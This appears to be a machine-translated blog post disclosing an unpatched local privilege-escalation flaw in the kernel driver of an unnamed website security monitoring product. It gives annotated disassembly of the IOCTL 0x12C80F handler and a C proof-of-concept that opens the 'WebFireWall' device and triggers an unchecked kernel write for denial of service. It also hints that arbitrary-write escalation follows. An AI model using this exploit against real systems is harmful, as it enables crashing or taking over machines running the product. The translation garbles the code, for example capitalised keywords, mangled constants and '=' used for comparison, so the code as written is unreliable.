An EOP 0Day for a website Security Detection System

After we found that a website security monitoring system had a chicken ribs for 0 days last night, we just discovered an EOP 0Day by hand. This is the first time that I found 0-day () without using Fuzz (). Of course, it is not how powerful my insights are (after all, I am just a beginner who is not deeply involved in the world), but its code is really frustrating-there is no diamond, why take this porcelain. What can be done on the third layer of the Ring? Why do we have to place it on the Ring 0? What's more, it does not work well. The reason for this EOP Vulnerability is as follows:

When the driver module of the website security monitoring system processes the IRP of IOCTL_CODE 0x12C80F, it does not strictly verify the UserBuffer passed in at Layer 3 of the Ring, if an attacker has the opportunity to run a Crafted application on the machine, the attacker may escalate the permission to execute arbitrary code with the SYSTEM permission.

. Text: F8663B33 mov esi, [ebp + Irp]; ESI points to the IRP

. Text: F8663B36 mov eax, [esi + 60 h]; EAX points to the IO_STACK_LOCATION

. Text: F8663B39 mov ecx, [eax + 0Ch]; ECX equals the DeviceIoControlCode

. Text: F8663B3C mov edi, [esi + 3Ch]; EDI equals the UserBuffer in the IRP

. Text: F8663B46 sub ecx, 12C80Fh

. Text: F8663B4C jz short loc_F8663BC8; If IOCTL_CODE is 0x12C80F, jump to loc_F8663BC8

. Text: F8663BC8 loc_F8663BC8:

. Text: F8663BC8 push edi; EDI equals the UserBuffer in the IRP

. Text: F8663BC9 call sub_F8663A52; call the sub_F8663A52 function with the UserBuffer read from the IRP as the parameter

The code structure of the sub_F8663A52 function is very simple. First, the sub_F86631FE function is called and the return value is processed. Then, it is written to the memory pointed to by UserBuffer.

. Text: F8663A52 mov edi, edi

. Text: F8663A54 push ebp

. Text: F8663A55 mov ebp, esp

. Text: F8663A57 xor eax, eax

. Text: F8663A59 inc eax

. Text: F8663A5A cmp word_F86678BE, ax

. Text: F8663A61 ja short loc_F8663A72

. Text: F8663A63 call sub_F86631FE; call the sub_F86631FE function.

The following code processes the returned values.

. Text: F8663A68 movzx eax, al

. Text: F8663A6B neg eax

 

. Text: F8663A6D sbb eax, eax

. Text: F8663A6F and eax, 2

. Text: F8663A72

. Text: F8663A72 loc_F8663A72:

. Text: F8663A72 mov ecx, [ebp + arg_0]

. Text: F8663A75 mov [ecx], eax; write memory operations directly without verifying the validity of UserBuffer!

. Text: F8663A77 pop ebp

. Text: F8663A78 retn 4

The following is a POC that can cause local denial-of-service (DoS) attacks.

# Include <windows. h>

# Include <stdio. h>

# Define DEVICE_NAME "\\\\. \ WebFireWall"

# Define DEVICE_IOCONTROL_CODE 0x12C80F

Int main ()

{

HANDLE hDev = INVALID_HANDLE_VALUE;

Int nLen = 0;

BOOL bRet = FALSE;

DWORD dwBytCnt = 0;

HDev = CreateFile (DEVICE_NAME,

GENERIC_ALL,

File_pai_read | file_pai_write,

NULL,

OPEN_EXISTING,

FILE_ATTRIBUTE_NORMAL,

NULL );

If (INVALID_HANDLE_VALUE = hDev ){

Printf ("[*] CreateFile Error Code: % d \ r \ n", GetLastError ());

Goto _ EXIT;

}

BRet = DeviceIoControl (hDev, DEVICE_IOCONTROL_CODE,

(LPVOID) 0x0c0c0c, 0x4,

(LPVOID) 0xc0c0c0c, 0x4,

& DwBytCnt, NULL );

If (false = bRet ){

Printf ("[*] DeviceIoControl Error Code: % d \ r \ n", GetLastError ());

}

Else {

Printf ("[*] Success! \ R \ n ");

 

}

_ EXIT:

If (INVALID_HANDLE_VALUE! = HDev ){

CloseHandle (hDev );

}

Getchar ();

Return 0;

}

As you can see, writing a 4-byte 0 to 0x0C0C0C0C triggers a memory access exception. As for writing EOP through any address, there is no need to elaborate on it. People who know it will naturally understand it.